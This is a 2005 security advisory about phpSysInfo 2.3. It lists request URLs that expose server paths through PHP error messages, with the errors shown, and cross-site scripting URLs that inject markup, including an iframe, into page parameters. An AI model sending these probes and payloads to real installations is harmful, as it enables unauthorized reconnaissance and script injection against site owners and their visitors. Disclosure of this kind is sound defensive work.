https://cxsecurity.com/issue/WLB-2005090038

漏洞细节尚未披露

[phpSysInfo 2.3 Multiple vulnerabilities cXIb8O3.11]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date: 22.3.2005
from SECURITYREASON.COM TEAM


- --- 0.Description ---
PHPSysInfo 2.3 is a customizable PHP Script that parses /proc, and formats information nicely. It will display
information about system facts like Uptime, CPU, Memory, PCI devices, SCSI devices, IDE devices, Network adapters, Disk
usage, and more.


- --- 1. Full Path Disclosure ---
1.0
http://[host]/[DIR]/includes/os/class.OpenBSD.inc.php
Error message :
- ---------------
Warning: main(./includes/os/class.BSD.common.inc.php) [function.main]: failed to open stream: No such file or directory
in /www/phpsysinfo-dev/includes/os/class.OpenBSD.inc.php on line 22

Fatal error: main() [function.require]: Failed opening required './includes/os/class.BSD.common.inc.php'
(include_path='.:') in /www/phpsysinfo-dev/includes/os/class.OpenBSD.inc.php on line 22
- ---------------

1.1
http://[host]/[DIR]/includes/os/class.NetBSD.inc.php

Error message :
- ---------------
Warning: main(./includes/os/class.BSD.common.inc.php) [function.main]: failed to open stream: No such file or directory
in /www/phpsysinfo-dev/includes/os/class.NetBSD.inc.php on line 22

Fatal error: main() [function.require]: Failed opening required './includes/os/class.BSD.common.inc.php'
(include_path='.:') in /www/phpsysinfo-dev/includes/os/class.NetBSD.inc.php on line 22
- ---------------


1.2
http://[host]/[DIR]/includes/os/class.FreeBSD.inc.php

Error message :
- ---------------
Warning: main(./includes/os/class.BSD.common.inc.php) [function.main]: failed to open stream: No such file or directory
in /www/phpsysinfo-dev/includes/os/class.FreeBSD.inc.php on line 22

Fatal error: main() [function.require]: Failed opening required './includes/os/class.BSD.common.inc.php'
(include_path='.:') in /www/phpsysinfo-dev/includes/os/class.FreeBSD.inc.php on line 22
- ---------------


1.3
http://[host]/[DIR]/includes/os/class.Darwin.inc.php

Error message :
- ---------------
Warning: main(./includes/os/class.BSD.common.inc.php) [function.main]: failed to open stream: No such file or directory
in /www/phpsysinfo-dev/includes/os/class.Darwin.inc.php on line 22

Fatal error: main() [function.require]: Failed opening required './includes/os/class.BSD.common.inc.php'
(include_path='.:') in /www/phpsysinfo-dev/includes/os/class.Darwin.inc.php on line 22
- ---------------


1.4
http://[host]/[DIR]/includes/XPath.class.php

Error message :
- ---------------
Warning: array_merge() [function.array-merge]: Argument #2 is not an array in
/www/phpsysinfo-dev/includes/XPath.class.php on line 5056

Warning: array_merge() [function.array-merge]: Argument #2 is not an array in
/www/phpsysinfo-dev/includes/XPath.class.php on line 5056

Warning: array_merge() [function.array-merge]: Argument #2 is not an array in
/www/phpsysinfo-dev/includes/XPath.class.php on line 5056

...

Warning: array_merge() [function.array-merge]: Argument #2 is not an array in
/www/phpsysinfo-dev/includes/XPath.class.php on line 4974

Warning: array_merge() [function.array-merge]: Argument #2 is not an array in
/www/phpsysinfo-dev/includes/XPath.class.php on line 4974

Warning: array_merge() [function.array-merge]: Argument #2 is not an array in
/www/phpsysinfo-dev/includes/XPath.class.php on line 4974
- ---------------


1.5
http://[host]/[DIR]/includes/system_header.php

Error message :
- ---------------
Fatal error: Call to undefined function created_by() in /www/phpsysinfo-dev/includes/system_header.php on line 39
- ---------------


1.6
http://[host]/[DIR]/includes/system_footer.php

Error message :
- ---------------
Warning: opendir(templates/) [function.opendir]: failed to open dir: No such file or directory in
/www/phpsysinfo-dev/includes/system_footer.php on line 21

Warning: readdir(): supplied argument is not a valid Directory resource in
/www/phpsysinfo-dev/includes/system_footer.php on line 22

Warning: closedir(): supplied argument is not a valid Directory resource in
/www/phpsysinfo-dev/includes/system_footer.php on line 27

Warning: asort() expects parameter 1 to be array, null given in /www/phpsysinfo-dev/includes/system_footer.php on line
29

Warning: Variable passed to each() is not an array or object in /www/phpsysinfo-dev/includes/system_footer.php on line
31

Warning: opendir(includes/lang/) [function.opendir]: failed to open dir: No such file or directory in
/www/phpsysinfo-dev/includes/system_footer.php on line 53

Warning: readdir(): supplied argument is not a valid Directory resource in
/www/phpsysinfo-dev/includes/system_footer.php on line 54

Warning: closedir(): supplied argument is not a valid Directory resource in
/www/phpsysinfo-dev/includes/system_footer.php on line 59

Warning: asort() expects parameter 1 to be array, null given in /www/phpsysinfo-dev/includes/system_footer.php on line
61

Warning: Variable passed to each() is not an array or object in /www/phpsysinfo-dev/includes/system_footer.php on line
63
- ---------------


- --- 2. XSS aka Cross Site Scripting ---
if register_globals=On :

2.0
http://[host]/[DIR]/index.php?sensor_program=[XSS]

2.1

http://[host]/[DIR]/includes/system_footer.php?text[language]=">[XSS]

http://[host]/[DIR]/includes/system_footer.php?text[template]=">[XSS]

http://[host]/[DIR]/includes/system_footer.php?hide_picklist=cXIb8O3&VERSION=<iframe
src=http://cxsecurity.com>

etc.

- --- 3.Contact ---
Author: Maksymilian Arciemowicz ( cXIb8O3 )